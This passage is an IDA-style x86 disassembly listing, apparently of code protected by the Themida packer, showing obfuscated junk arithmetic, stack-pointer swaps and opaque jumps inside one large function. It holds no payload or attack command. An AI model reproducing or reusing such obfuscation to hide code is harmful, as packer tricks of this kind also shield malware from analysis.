		jmp	loc_56FFB6
; ---------------------------------------------------------------------------


loc_57181C:				; CODE XREF: sub_562ABA+7920j
		add	edx, edi
		pop	edi
		xchg	edx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		shl	[esp+1Ah+var_1A], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_57182E:				; CODE XREF: sub_562ABA+DD5Fj
		shl	eax, 6
		not	eax
		push	ebp
		mov	ebp, 69FF4184h
		not	ebp
		inc	ebp
		inc	ebp
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 49366DC2h
		sub	ebp, edi
		pop	edi
		sub	eax, ebp
		jmp	loc_568DA4
; ---------------------------------------------------------------------------


loc_571852:				; CODE XREF: sub_562ABA+DF03j
		add	eax, 42CC88CFh
		sub	edi, eax
		pop	eax
		add	edi, 54E31367h
		and	edi, 0D8115C0h
		xor	edi, 2DCE3CF9h
		sub	edi, 2DCE3DB7h
		add	ebp, edi
		pop	edi
		xor	ebp, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], ebp
		xor	ebp, [esp+2Ah+var_2C+2]
		pop	esp
		bts	word ptr [esp+26h+var_28+2], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_57188A:				; CODE XREF: sub_562ABA+8326j
		push	esp
		jmp	loc_571AD0
; ---------------------------------------------------------------------------


loc_571890:				; CODE XREF: sub_562ABA+4092j
		add	esp, 2
		neg	cl
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		jmp	loc_562FE5
; ---------------------------------------------------------------------------


loc_5718A3:				; CODE XREF: sub_562ABA+3268j
		add	eax, 15BA34CBh
		push	1684h
		mov	[esp+16h+var_16], edx
		mov	edx, 629C1DC8h
		push	edi
		mov	edi, 5D0E5A2Eh
		jmp	loc_55FF22
; ---------------------------------------------------------------------------


loc_5718C0:				; CODE XREF: sub_562ABA-1923j
		pop	ebx
		mov	dh, ch
		pop	ecx
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_567889
; ---------------------------------------------------------------------------


loc_5718CF:				; CODE XREF: sub_562ABA+6EF2j
		push	[esp+12h+var_12]
		mov	edx, [esp+16h+var_16]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp+1Ah+var_1A]
		pop	esp
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_568AD0
		push	ebx
		jmp	loc_566E96
; ---------------------------------------------------------------------------


loc_5718FF:				; CODE XREF: sub_562ABA-2E2Bj
		add	eax, 35C8A2A8h
		or	esi, eax
		pop	eax
		neg	esi
		push	esi
		not	[esp+12h+var_12]
		pop	esi
		shl	esi, 6
		xor	esi, 8A242356h
		xor	edi, esi
		push	dword ptr [esp+0]
		jmp	loc_56684C
; ---------------------------------------------------------------------------


loc_571921:				; CODE XREF: sub_562ABA+3D8Dj
		push	0FE6h
		mov	[esp+0Ch+var_C], esi
		mov	esi, 4F863B69h
		neg	esi
		jmp	loc_55F90A
; ---------------------------------------------------------------------------


loc_571935:				; CODE XREF: sub_562ABA+F5Bj
		xor	ebp, 8DE648B1h
		dec	ebp
		jmp	loc_56A44B
; ---------------------------------------------------------------------------


loc_571941:				; CODE XREF: sub_562ABA+65B3j
		pop	ecx
		add	esp, 4
		xor	bl, al
		jmp	loc_565B57
; ---------------------------------------------------------------------------


loc_57194C:				; CODE XREF: sub_562ABA-1780j
		add	edx, esi
		jmp	loc_56A8F1
; ---------------------------------------------------------------------------


loc_571953:				; CODE XREF: sub_562ABA+5062j
		pop	ebx
		sub	ecx, 3951222h
		jmp	loc_568606
; ---------------------------------------------------------------------------


loc_57195F:				; CODE XREF: sub_562ABA+2E07j
		sub	edx, 195E5C96h
		not	edx
		jmp	loc_56043F
; ---------------------------------------------------------------------------


loc_57196C:				; CODE XREF: sub_562ABA+D091j
		add	ebp, eax
		sub	ebp, 34E96787h
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_56F383
; ---------------------------------------------------------------------------


loc_571982:				; CODE XREF: sub_562ABA+4E5Dj
		add	esp, 4
		xor	ecx, ebx
		pop	ebx
		push	2F26h
		jmp	loc_565060
; ---------------------------------------------------------------------------


loc_571992:				; CODE XREF: sub_562ABA+8065j
		add	esp, 4
		push	6341h
		jmp	loc_56A7C0
; ---------------------------------------------------------------------------


loc_5719A2:				; CODE XREF: sub_562ABA+553Cj
		sub	esp, 4
		mov	[esp+4Ah+var_4A], edi
		mov	edi, 69962AAFh
		shl	edi, 6
		neg	edi
		jmp	loc_56FCD9
; ---------------------------------------------------------------------------


loc_5719B7:				; CODE XREF: sub_562ABA+4256j
		add	ecx, 53EECE50h
		or	ebp, ecx
		pop	ecx
		jmp	loc_56C4C8
; ---------------------------------------------------------------------------


loc_5719C5:				; CODE XREF: sub_562ABA+520Aj
		pop	edx
		add	ebx, esi
		jmp	loc_5619C9
; ---------------------------------------------------------------------------


loc_5719CD:				; CODE XREF: sub_562ABA-3B98j
		sub	eax, edi
		push	[esp+26h+var_28+2]
		jmp	loc_562852
; ---------------------------------------------------------------------------


loc_5719D7:				; CODE XREF: sub_562ABA+6DBj
		mov	[esp-0Ch+arg_8], edx
		push	eax
		pushf
		jmp	loc_56167F
; ---------------------------------------------------------------------------


loc_5719E1:				; CODE XREF: sub_562ABA+1468j
		xchg	ebp, [esp+6+var_8+2]
		pop	esp
		push	4389h
		mov	[esp+6+var_8+2], ebx
		push	[esp+6+var_4+2]
		mov	ebx, [esp+0Ah+var_C+2]
		push	eax
		mov	eax, esp
		jmp	loc_56C087
; ---------------------------------------------------------------------------


loc_5719FC:				; CODE XREF: sub_562ABA+7467j
		sub	esp, 4
		jmp	loc_55E27F
; ---------------------------------------------------------------------------


loc_571A07:				; CODE XREF: sub_562ABA-695j
		push	esp
		mov	esi, [esp+4Ah+var_4A]
		add	esp, 4
		add	esi, 4
		push	0C6h
		mov	[esp+4Ah+var_4A], edx
		mov	edx, 40EF6430h
		push	esi
		jmp	loc_56C04F
; ---------------------------------------------------------------------------


loc_571A2A:				; CODE XREF: sub_562ABA+3181j
		pop	edx
		shl	edi, 8
		shr	edi, 7
		push	ecx
		push	edi
		mov	edi, 3C791237h
		add	edi, 5DC33AF3h
		xor	edi, 880C2338h
		jmp	loc_55EF14
; ---------------------------------------------------------------------------


loc_571A49:				; CODE XREF: sub_562ABA+7939j
		pop	edx
		push	7BEh
		mov	[esp+1Ah+var_1A], ecx
		push	[esp+1Ah+var_16]
		pop	ecx
		pop	[esp+1Ah+var_1A]
		mov	esp, [esp+16h+var_16]
		mov	dx, word ptr [esp+16h+var_16]
		jmp	loc_567FE0
; ---------------------------------------------------------------------------


loc_571A66:				; CODE XREF: sub_562ABA-1004j
		mov	ecx, 0A24BFB46h
		jmp	loc_55F5BF
; ---------------------------------------------------------------------------


loc_571A70:				; CODE XREF: sub_562ABA+83B4j
		xor	[esp+26h+var_28+2], ebp
		jmp	loc_563544
; ---------------------------------------------------------------------------


loc_571A78:				; CODE XREF: sub_562ABA+34EFj
		sub	ebp, 237F26A5h
		jmp	loc_563CB4
; ---------------------------------------------------------------------------


loc_571A83:				; CODE XREF: sub_562ABA+3AF2j
		pop	ebp
		sub	eax, ecx
		jmp	loc_55E817
; ---------------------------------------------------------------------------


loc_571A8B:				; CODE XREF: sub_562ABA-3600j
		mov	dx, word ptr [esp+16h+var_16]
		jmp	loc_5691E5
; ---------------------------------------------------------------------------


loc_571A94:				; CODE XREF: sub_562ABA+C05Fj
		mov	esp, [esp-6+arg_0+2]
		mov	[esp-6+arg_0+2], ecx
		push	esi
		mov	esi, 31C4685Ah
		or	esi, 4DC46306h
		add	esi, 43155F64h
		sub	esi, 4BFD045Ch
		add	esi, 9E99AEBEh
		jmp	loc_570075
; ---------------------------------------------------------------------------


loc_571ABD:				; CODE XREF: sub_562ABA+7A0Fj
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_567075
; ---------------------------------------------------------------------------


loc_571AD0:				; CODE XREF: sub_562ABA+EDD1j
		pop	ebp
		sub	esp, 4
		mov	[esp+32h+var_32], esi
		push	ebp
		mov	ebp, 67133CCEh
		mov	esi, ebp
		pop	ebp
		sub	esi, 21101D86h
		and	esi, 4F0C4984h
		shr	esi, 5
		add	esi, 462F1FBCh
		inc	esi
		sub	esi, 485F2001h
		add	ebp, esi
		pop	esi
		jmp	loc_56B92C
; ---------------------------------------------------------------------------


loc_571B04:				; CODE XREF: sub_562ABA-2215j
		sub	eax, edi
		pop	edi
		mov	esi, eax
		pop	eax
		add	esi, 0FFFFFFFFh
		not	esi
		inc	esi
		shr	esi, 4
		push	ebx
		jmp	loc_56385C
; ---------------------------------------------------------------------------


loc_571B19:				; CODE XREF: sub_562ABA+E1Ej
		mov	edi, 2F971663h
		add	[esp+12h+var_8+2], edi
		pop	edi
		pop	ebp
		jmp	loc_5669AA
; ---------------------------------------------------------------------------


loc_571B29:				; CODE XREF: sub_562ABA+4C63j
		pop	dword ptr [esp+0]
		pop	esp
		movzx	cx, al
		push	7AE3h
		mov	[esp+0Ah+var_C+2], ebp
		push	esp
		jmp	loc_5693E8
; ---------------------------------------------------------------------------


loc_571B3F:				; CODE XREF: sub_562ABA+3B50j
		mov	ebx, 51FC31B3h
		shl	ebx, 8
		shr	ebx, 1
		jmp	loc_5714F4
; ---------------------------------------------------------------------------


loc_571B4E:				; CODE XREF: sub_562ABA+9559j
		xchg	edi, [esp+12h+var_12]
		jmp	loc_56B4CC
; ---------------------------------------------------------------------------


loc_571B56:				; CODE XREF: sub_562ABA-5FDj
		mov	ebp, 69586AD2h
		xor	ebp, ecx
		pop	ecx
		not	ebp
		jmp	loc_5642A4
; ---------------------------------------------------------------------------


loc_571B65:				; CODE XREF: sub_562ABA+5113j
		push	esp
		pop	ebx
		push	edx
		push	ebp
		push	eax
		mov	eax, 797F12E7h
		shl	eax, 3
		xor	eax, 0D5FAC8FBh
		mov	ebp, eax
		push	[esp+0Ah+var_C+2]
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		add	esp, 4
		mov	edx, ebp
		pop	ebp
		sub	edx, 1E025FBFh
		jmp	loc_568703
; ---------------------------------------------------------------------------


loc_571B97:				; CODE XREF: sub_562ABA+B58Fj
		sub	eax, 57FB4557h
		sub	eax, 4E2D4719h
		sub	esp, 4
		jmp	loc_56C20F
; ---------------------------------------------------------------------------


loc_571BA9:				; CODE XREF: sub_562ABA+5DBFj
		push	[esp+2Ah+var_2C+2]
		pop	eax
		jmp	loc_5725D8
; ---------------------------------------------------------------------------


loc_571BB2:				; CODE XREF: sub_562ABA+63C8j
		add	[esp-0Ah+arg_8+2], ecx
		push	[esp-0Ah+arg_4+2]
		pop	ecx
		jmp	loc_563C3A
; ---------------------------------------------------------------------------


loc_571BBF:				; CODE XREF: sub_562ABA+7774j
		mov	edx, [esp+0]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], eax
		push	3BFE1D7Fh
		jmp	loc_563C27
; ---------------------------------------------------------------------------


loc_571BDC:				; CODE XREF: sub_562ABA+2D5Ej
		pop	esi
		jmp	loc_561897
; ---------------------------------------------------------------------------


loc_571BE2:				; CODE XREF: sub_562ABA+3258j
		mov	esp, [esp+0]
		add	ebx, 4
		push	esi
		jmp	loc_563C4D
; ---------------------------------------------------------------------------


loc_571BF1:				; CODE XREF: sub_562ABA-22BCj
		xor	ecx, 173B2F56h
		add	ecx, 302EC745h
		add	edx, ecx
		jmp	loc_55E1CD
; ---------------------------------------------------------------------------


loc_571C04:				; CODE XREF: sub_562ABA+97AAj
		pop	ebx
		dec	eax
		shl	eax, 3
		shr	eax, 1
		sub	eax, 2E8E091Ah
		sub	ecx, eax
		push	[esp+22h+var_22]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 4EC24684h
		add	ecx, esi
		pop	esi
		shr	ecx, 7
		shr	ecx, 8
		push	edx
		mov	edx, 3171219Fh
		push	edi
		jmp	loc_56CE02
; ---------------------------------------------------------------------------


loc_571C34:				; CODE XREF: sub_562ABA+3C4Aj
		not	esi
		not	esi
		xor	esi, 67BC69F1h
		mov	edi, esi
		pop	esi
		sub	[esp+4], edi
		mov	edi, [esp+32h+var_32]
		add	esp, 4
		pop	esi
		jmp	loc_56B545
; ---------------------------------------------------------------------------


loc_571C54:				; CODE XREF: sub_562ABA+ACB8j
		push	eax
		mov	ah, 0F3h
		inc	ah
		add	ah, 0EDh
		mov	dl, 29h
		add	dl, 0EBh
		add	dl, ah
		sub	dl, 0EBh
		pop	eax
		add	dl, ch
		push	[esp+18h+var_1A+2]
		pop	ecx
		push	edx
		mov	edx, esp
		push	3A0Bh
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_561333
; ---------------------------------------------------------------------------


loc_571C84:				; CODE XREF: sub_562ABA+E69Aj
		xor	al, 0EFh
		add	cl, al
		pop	eax
		add	al, 0D9h
		sub	al, 0C4h
		add	al, cl
		add	al, 0C4h
		jmp	loc_564836
; ---------------------------------------------------------------------------


loc_571C96:				; CODE XREF: sub_562ABA+3j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		mov	[esp+26h+var_28+2], ebx
		push	200h
		push	[esp+2Ah+var_2C+2]
		mov	ebx, [esp+0]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		jmp	loc_56628C
sub_562ABA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_56123C

; =============== S U B	R O U T	I N E =======================================



sub_571CD8	proc near		; CODE XREF: sub_562ABA+A896j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 646875E2h
		jmp	loc_570DDB
sub_571CD8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_571CEB:				; CODE XREF: sub_562ABA-15EFj
		sub	esi, 2D29169Dh
		jmp	loc_568157
; ---------------------------------------------------------------------------


loc_571CF6:				; CODE XREF: sub_562ABA+4D69j
		push	edx
		dec	byte ptr [esp-8+arg_4+1]
		pop	edx
		not	dh
		jmp	loc_56130C
; ---------------------------------------------------------------------------


loc_571D03:				; CODE XREF: sub_562ABA+1E19j
		sub	al, 0Dh
		add	al, bl
		add	al, 0Dh
		sub	al, 62h
		mov	ebx, [esp+26h+var_28+2]
		add	esp, 4
		add	al, 13h
		push	ebx
		push	eax
		push	ecx
		jmp	loc_562AF0
; ---------------------------------------------------------------------------


loc_571D1E:				; CODE XREF: sub_562ABA+519Aj
		or	cl, 5Dh
		push	eax
		push	edx
		mov	dh, 36h
		add	dh, 0CBh
		mov	al, dh
		pop	edx
		add	cl, 62h
		add	cl, al
		sub	cl, 62h
		jmp	loc_56FCE4
; ---------------------------------------------------------------------------


loc_571D38:				; CODE XREF: sub_562ABA+B635j
		push	ecx
		mov	cl, dl
		not	cl
		jmp	loc_5711E2
; ---------------------------------------------------------------------------


loc_571D42:				; CODE XREF: sub_562ABA+81E5j
		or	bh, ah
		pop	eax
		xor	bh, 0F6h
		sub	esp, 4
		mov	[esp-8+arg_4], edx
		mov	dl, 3Dh
		xor	dl, 47h
		inc	dl
		xor	dl, 0A1h
		dec	dl
		sub	dl, 24h
		and	bh, dl
		pop	edx
		dec	bh
		add	bh, 8
		add	al, bh
		pop	ebx
		jmp	loc_56774C
; ---------------------------------------------------------------------------


loc_571D6D:				; CODE XREF: sub_562ABA+99BDj
		mov	edi, [esp+1Eh+var_1E]
		add	esp, 4
		pop	ebx
		and	eax, edx
		mov	edx, [esp+16h+var_16]
		push	614Ah
		mov	[esp+1Ah+var_1A], eax
		push	3167h
		push	esp
		pop	[esp+22h+var_22]
		jmp	loc_560C9E
; ---------------------------------------------------------------------------


loc_571D8F:				; CODE XREF: sub_562ABA+543j
		xor	[esp+12h+var_12], ecx
		xor	ecx, [esp+12h+var_12]
		pop	esp
		push	edx
		push	ebp
		push	esi
		mov	esi, 0AC760A1h
		add	esi, 0F5389F5Fh
		mov	ebp, esi
		pop	esi
		mov	edx, ebp
		pop	ebp
		add	edx, eax
		mov	[edx], ch
		mov	edx, [esp+12h+var_12]
		add	esp, 4
		push	dword ptr [esp+0]
		pop	ecx
		jmp	loc_56BE61
; ---------------------------------------------------------------------------


loc_571DC0:				; CODE XREF: sub_562ABA+27A2j
		push	esp
		jmp	loc_567A70
; ---------------------------------------------------------------------------


loc_571DC6:				; CODE XREF: sub_562ABA+BCB9j
		pop	ebx
		add	esp, 4
		jmp	loc_56DC7A
; ---------------------------------------------------------------------------


loc_571DCF:				; CODE XREF: sub_562ABA+1018Ej
		sub	eax, 4
		jmp	loc_5724BC
; ---------------------------------------------------------------------------


loc_571DD7:				; CODE XREF: sub_562ABA+3A99j
		pop	[esp+14h+var_16+2]
		mov	esp, [esp+10h+var_12+2]
		xor	word ptr [esp+10h+var_12+2], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_571DE7:				; CODE XREF: sub_562ABA+D6E5j
		push	[esp+22h+var_22]
		jmp	loc_5667AC
; ---------------------------------------------------------------------------


loc_571DEF:				; CODE XREF: sub_562ABA-2828j
		pop	ebx
		push	ebx
		mov	ebx, 148077EAh
		jmp	loc_56F408
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_571DFB:				; DATA XREF: Themida_:0055DFD4o
		mov	sp, [esp]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_571E04:				; CODE XREF: sub_562ABA+DC69j
		push	ecx
		push	ebx
		mov	ebx, 5D842809h
		shr	ebx, 7
		xor	ebx, 50322B66h
		mov	ecx, ebx
		jmp	loc_55FBEA
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_571E1B:				; DATA XREF: Themida_:0055DFBCo
		push	dword ptr [esp]
		mov	eax, [esp]
		push	3F94h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56B45E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_571E3D:				; CODE XREF: sub_562ABA+D901j
		pop	edi
		xchg	ecx, [esp-6+arg_0+2]
		pop	esp
		push	6C22h
		mov	[esp-6+arg_0+2], edi
		jmp	loc_567E76
; ---------------------------------------------------------------------------


loc_571E4F:				; CODE XREF: sub_562ABA+FF5Dj
		mov	dl, bh
		push	ebx
		jmp	loc_563D2A
; ---------------------------------------------------------------------------


loc_571E57:				; CODE XREF: sub_562ABA+B3D2j
		xchg	ebp, ecx
		jmp	loc_565A9B
; ---------------------------------------------------------------------------


loc_571E5E:				; CODE XREF: sub_562ABA+DF70j
		pop	ebp
		mov	edi, [esp+8+var_8]
		jmp	loc_55F902
; ---------------------------------------------------------------------------


loc_571E67:				; CODE XREF: sub_562ABA+6232j
		sub	al, 94h
		add	al, 52h
		jmp	loc_56602F
; ---------------------------------------------------------------------------


loc_571E70:				; CODE XREF: sub_562ABA+AEB9j
		not	esi
		add	esi, 1
		sub	esi, 0EAEFF4AEh
		push	esi
		pop	eax
		pop	esi
		sub	[esp+0Ah+var_8+2], 14AA2F0Eh
		jmp	loc_563396
; ---------------------------------------------------------------------------


loc_571E8B:				; CODE XREF: sub_562ABA-3218j
		push	[esp+26h+var_22]
		pop	edx
		pop	[esp+26h+var_28+2]
		pop	esp
		mov	word ptr [esp+1Eh+var_1E], dx
		push	ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_571EA0:				; CODE XREF: sub_562ABA+17F6j
		add	ebp, esi
		add	ebp, 3D71636Dh
		pop	esi
		push	ebx
		mov	ebx, 631B5C2Fh
		add	ebx, 0FFD60D38h
		add	ebp, ebx
		mov	ebx, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_56B319
; ---------------------------------------------------------------------------


loc_571EC5:				; CODE XREF: sub_562ABA+10FBj
		xor	ebp, 248E716Dh
		add	edx, ebp
		pop	ebp
		sub	edx, ecx
		sub	edx, 3E465FAFh
		pop	ecx
		sub	edx, 0A643C0CCh
		shr	edx, 3
		sub	edx, 710C4750h
		inc	edx
		xor	edx, 8BC26A65h
		sub	esp, 4
		mov	[esp+4Eh+var_4E], edx
		push	esi
		jmp	loc_56E49A
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_571EF9	proc near		; CODE XREF: sub_562ABA-2F4Dj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 4
		sub	ecx, 536B0613h
		jmp	loc_5655FD
sub_571EF9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_571F0F:				; CODE XREF: sub_562ABA+41E9j
		mov	al, dl
		pop	edx
		pop	ecx
		push	ebx
		push	ecx
		mov	cl, al
		mov	bh, cl
		pop	ecx
		push	383Eh
		mov	[esp+16h+var_16], edx
		mov	dh, bh
		push	ebx
		mov	bl, dh
		jmp	loc_57229B
; ---------------------------------------------------------------------------


loc_571F2C:				; CODE XREF: sub_562ABA+209j
		pop	edi
		xor	ebp, [esp+12h+var_12]
		xor	[esp+12h+var_12], ebp
		xor	ebp, [esp+12h+var_12]
		pop	esp
		add	[esp+0], al
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_571F40:				; CODE XREF: sub_562ABA-1045j
		pop	esi
		jmp	loc_567048
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_571F46:				; CODE XREF: sub_55FCA5+20Fj
		push	[esp+arg_0]
		jmp	loc_56DF09
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_571F4F:				; CODE XREF: sub_562ABA+B6A4j
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+2Ah+var_2C+2]
		jmp	loc_55EA56
; ---------------------------------------------------------------------------


loc_571F62:				; CODE XREF: sub_562ABA+B176j
		add	esp, 4
		jmp	loc_55E531
; ---------------------------------------------------------------------------


loc_571F6D:				; CODE XREF: sub_562ABA+73B1j
		pop	ebp
		jmp	loc_564C9F
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_571F73:				; CODE XREF: Themida_:005609FCj
		pop	small word ptr [esp]
		jmp	loc_569C8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_571F7C:				; CODE XREF: sub_562ABA+DFC9j
		push	[esp-4+arg_4]
		mov	ecx, [esp+0]
		jmp	loc_56EAE6
; ---------------------------------------------------------------------------


loc_571F88:				; CODE XREF: sub_562ABA+B85Dj
		shr	bl, 3
		push	eax
		jmp	loc_57103F
; ---------------------------------------------------------------------------


loc_571F91:				; CODE XREF: sub_562ABA-3348j
		xchg	edx, [esp+16h+var_16]
		pop	esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_56F738
; ---------------------------------------------------------------------------


loc_571FA2:				; CODE XREF: sub_562ABA+6BBCj
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_571FA8:				; CODE XREF: sub_562ABA+471Bj
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		mov	[esp+36h+var_36], eax
		sub	esp, 4
		jmp	loc_569E2E
; ---------------------------------------------------------------------------


loc_571FC6:				; CODE XREF: sub_562ABA+6C50j
		add	edi, 4
		jmp	loc_56F5CE
; ---------------------------------------------------------------------------


loc_571FCE:				; CODE XREF: sub_562ABA-2333j
		xor	ebx, [esp+42h+var_42]
		pop	esp
		jmp	loc_56AE57
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_56DB20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_571FE0:				; CODE XREF: sub_562ABA-94Dj
		mov	edi, 17BC1F68h
		jmp	loc_56BD15
; ---------------------------------------------------------------------------


loc_571FEA:				; CODE XREF: sub_562ABA+53A6j
		push	edi
		mov	edi, 6FCB3E2Fh
		mov	ebp, edi
		pop	edi
		add	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 15015B32h
		push	eax
		mov	eax, 397109C6h
		sub	eax, 66F4462Eh
		inc	eax
		sub	eax, 0A8736AA6h
		or	ebp, eax
		pop	eax
		and	ebp, 638B2E38h
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		push	edx
		jmp	loc_5672B9
; ---------------------------------------------------------------------------


loc_572022:				; CODE XREF: sub_562ABA-2160j
		xchg	edi, edx
		sub	edx, 0A1307313h
		mov	ebp, edx
		pop	edx
		shr	ebp, 5
		inc	ebp
		push	ebp
		jmp	loc_56ABE2
; ---------------------------------------------------------------------------


loc_572037:				; CODE XREF: sub_562ABA+E80Bj
		add	[esp+3Ah+var_3A], 4
		mov	edi, [esp+3Ah+var_3A]
		jmp	loc_561FEF
; ---------------------------------------------------------------------------


loc_572043:				; CODE XREF: sub_562ABA+84B8j
		add	ebp, esi
		jmp	loc_56C0B3
; ---------------------------------------------------------------------------


loc_57204A:				; CODE XREF: sub_562ABA+CBABj
		add	ebp, ecx
		pop	ecx
		add	edx, ebp
		pop	ebp
		jmp	loc_565E76
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_572055:				; CODE XREF: Themida_:0055EF0Fj
		push	2242h
		jmp	loc_56478A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_57205F:				; CODE XREF: sub_562ABA+A52Aj
		mov	[esp+3Ah+var_3A], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_569D3E
; ---------------------------------------------------------------------------


loc_572072:				; CODE XREF: sub_562ABA-135Dj
		pop	ebp
		jmp	loc_565972
; ---------------------------------------------------------------------------


loc_572078:				; CODE XREF: sub_562ABA-2429j
		push	eax
		jmp	loc_56E5A7
; ---------------------------------------------------------------------------


loc_57207E:				; CODE XREF: sub_562ABA+824j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+1Eh+var_1E]
		pop	esp
		jmp	loc_5687A7
; ---------------------------------------------------------------------------


loc_572093:				; CODE XREF: sub_562ABA+478Bj
		sub	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_569B52
; ---------------------------------------------------------------------------


loc_57209E:				; CODE XREF: sub_562ABA+6EBBj
		push	eax
		mov	ah, 0A3h
		sub	ah, 0FDh
		or	ah, 6
		push	ecx
		mov	cl, 0C7h
		and	cl, 1Bh
		xor	cl, 0E9h
		add	ah, cl
		jmp	loc_571142
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_5720B7	proc near		; CODE XREF: sub_562ABA+55F3j
		push	ebp
		mov	ebp, 36CD1707h
		dec	ebp
		neg	ebp
		push	esi
		jmp	loc_563A1A
sub_5720B7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5720C6:				; CODE XREF: sub_562ABA+DB3Dj
		add	esi, edx
		jmp	loc_56E6FC
; ---------------------------------------------------------------------------


loc_5720CD:				; CODE XREF: sub_562ABA-337Fj
		mov	[esp+0], edx
		mov	edx, 4
		sub	ecx, 58DD58CCh
		add	ecx, edx
		add	ecx, 58DD58CCh
		pop	edx
		add	ecx, 4
		jmp	loc_55ECE8
; ---------------------------------------------------------------------------


loc_5720EC:				; CODE XREF: sub_562ABA+7461j
		push	esi
		mov	esi, 1CEA08E6h
		and	esi, 42FB6819h
		jmp	loc_562763
; ---------------------------------------------------------------------------


loc_5720FD:				; CODE XREF: sub_562ABA-3845j
		add	ebx, 4EDC7813h
		pop	edx
		push	7131h
		jmp	loc_570647
; ---------------------------------------------------------------------------


loc_57210E:				; CODE XREF: sub_562ABA+15BFj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+2Ah+var_2C+2]
		pop	esp
		jmp	loc_564599
; ---------------------------------------------------------------------------


loc_572123:				; CODE XREF: sub_562ABA+E802j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+40h+var_42+2]
		pop	esp
		mov	[esp+3Ch+var_3E+2], edx
		mov	dl, 1Ch
		jmp	loc_570D42
; ---------------------------------------------------------------------------


loc_57213C:				; CODE XREF: sub_562ABA+3424j
		pop	eax
		add	dword ptr [esp+8], 1B487FCEh
		jmp	loc_56E056
; ---------------------------------------------------------------------------


loc_57214A:				; CODE XREF: sub_562ABA+3098j
		pop	ebp
		add	ebp, 4
		push	edx
		sub	esp, 4
		mov	[esp+10h+var_12+2], ecx
		push	edx
		mov	edx, 70DA4DFAh
		mov	ecx, 1D9E74C8h
		xor	ecx, edx
		pop	edx
		mov	edx, 0A5834F9h
		xor	edx, 258E0485h
		add	edx, 3D6E08BAh
		sub	edx, ecx
		push	[esp+10h+var_12+2]
		pop	ecx
